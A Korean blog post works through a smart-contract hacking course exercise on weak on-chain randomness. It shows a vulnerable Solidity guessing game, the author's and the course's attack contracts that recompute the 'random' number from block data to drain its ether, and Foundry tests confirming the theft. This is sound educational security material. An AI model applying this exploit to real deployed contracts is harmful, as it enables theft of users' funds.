[SCH] Smart Contract Hacking 6편 - Randomness Vulnerabilities1

0xDave·2023년 3월 24일
0

Ethereum

목록 보기
98/112
post-thumbnail

Task1


// SPDX-License-Identifier: GPL-3.0-or-later 
pragma solidity ^0.8.13;

/**
 * @title Game
 * @author JohnnyTime (https://smartcontractshacking.com)
 */
contract Game {
    constructor() payable {}

    function play(uint guess) external {

        uint number = uint(keccak256(abi.encodePacked(block.timestamp, block.number, block.difficulty)));

        if(guess == number) {
            (bool sent, ) = msg.sender.call{value: address(this).balance}("");
            require(sent, "Failed to send ETH");
        }
    }
}

위 컨트랙트 자금을 탈취하면 된다. 숫자를 맞추면 이더를 받을 수 있다. 그런데 block.timestamp, block.number, block.difficulty만 알면 숫자를 맞출 수 있다.


이제 공격 컨트랙트를 만들어보자.

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.13;

interface IGame{
    function play(uint) external;
}

contract Attack {

    address public owner;
    address public game;
    
    constructor(address _game){
        owner = msg.sender;
        game = _game;

    }

    function attack(uint256 number) public {
        Game(game).play(number);
    }

    receive() external payable{
        (bool success, ) = owner.call{value: address(this).balance}("");
        require(success, "");
    }

}

사실 특별한 건 없고 단지 game 컨트랙트를 가져와서 play() 함수를 호출하는 것 뿐이다.


여기까지 피드백


모범답안

interface IGame {
    function play(uint guess) external;
}

contract Attack {
    IGame game;
    address payable owner;

    constructor(address _game) {
        game = IGame(_game);
        owner = payable(msg.sender);
    }

    function attack() external {
        uint number = uint(keccak256(abi.encodePacked(block.timestamp, block.number, block.difficulty)));
        game.play(number);
    }

    receive() external payable {
        (bool sent, ) = owner.call{value: 10 ether}("");
        require(sent, "Failed to send ETH");
    }
}
  1. 대상 컨트랙트인 gameIGame 타입으로 선언 후 constructor에서 인터페이스를 씌우는 것이 훨씬 깔끔하다.

  2. owner 변수에 payable만 써줘도 된다.

  3. 나는 나중에 테스트 코드에서 block.timestamp, block.number 등 필요한 정보를 컨트랙트 바깥에서 가져오려고 했는데 모범답안에서는 아예 안에 넣어버렸다. 사실 대상 컨트랙트가 디플로이 될 때 Attack 컨트랙트도 같이 디플로이 해버리면 number는 같아져서 그런게 아닐까 싶다.


테스트 코드 작성


아래와 같이 테스트 코드를 작성해봤다.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../src/randomness-vulnerabilities-1/Game.sol";
import "../../src/randomness-vulnerabilities-1/Attack.sol";

/**
@dev run "forge test --match-contract RV1" 
*/

contract TestRV1 is Test {
    uint256 public constant gamePot = 10 ether;

    Game game;
    Attack attack;

    address deployer;
    address attacker;

    function setUp() public {
        vm.prank(deployer);
        game = new Game();
        deal(address(game), gamePot);
        
        vm.prank(attacker);
        attack = new Attack(address(game));
    }

    function test_Attack() public {
        vm.prank(attacker);
        attack.attack();
    }
}

모범답안은 아래와 같다.

contract TestRV1 is Test {
    uint128 public constant GAME_POT = 10 ether;

    Game game;
    Attack attack;

    address deployer;
    address attacker;

    function setUp() public {
        deployer = address(1);
        attacker = address(2);

        vm.prank(deployer);
        game = new Game();
        vm.deal(address(game), GAME_POT);

        vm.prank(attacker);
        attack = new Attack(address(game));
        uint256 inGame = address(game).balance;
        assertEq(inGame, GAME_POT);
    }

    function test_Attack() public {
        attack.attack();

        assertEq(address(game).balance, 0);
        assertEq(address(attacker).balance, GAME_POT);
    }

피드백


  1. setUp에서 주소 설정 빠짐
        deployer = address(1);
        attacker = address(2);

  1. deal을 쓸 때는 앞에 vm을 써주자.
		//잘못된 예
        deal(address(game), gamePot);

		//올바른 예
        vm.deal(address(game), GAME_POT);

  1. 테스트 코드라면서 정작 컨트랙트에 자금이 제대로 들어있는지 확인도 안 함..
		//아래부분이 빠졌다.
        uint256 inGame = address(game).balance;
        assertEq(inGame, GAME_POT);

  1. 공격을 했으면 자금이 제대로 탈취됐는지 확인하는 건 당연한 거 아닌가..?
		//아래부분이 빠졌다.
        assertEq(address(game).balance, 0);
        assertEq(address(attacker).balance, GAME_POT);
profile
Just BUIDL :)

0개의 댓글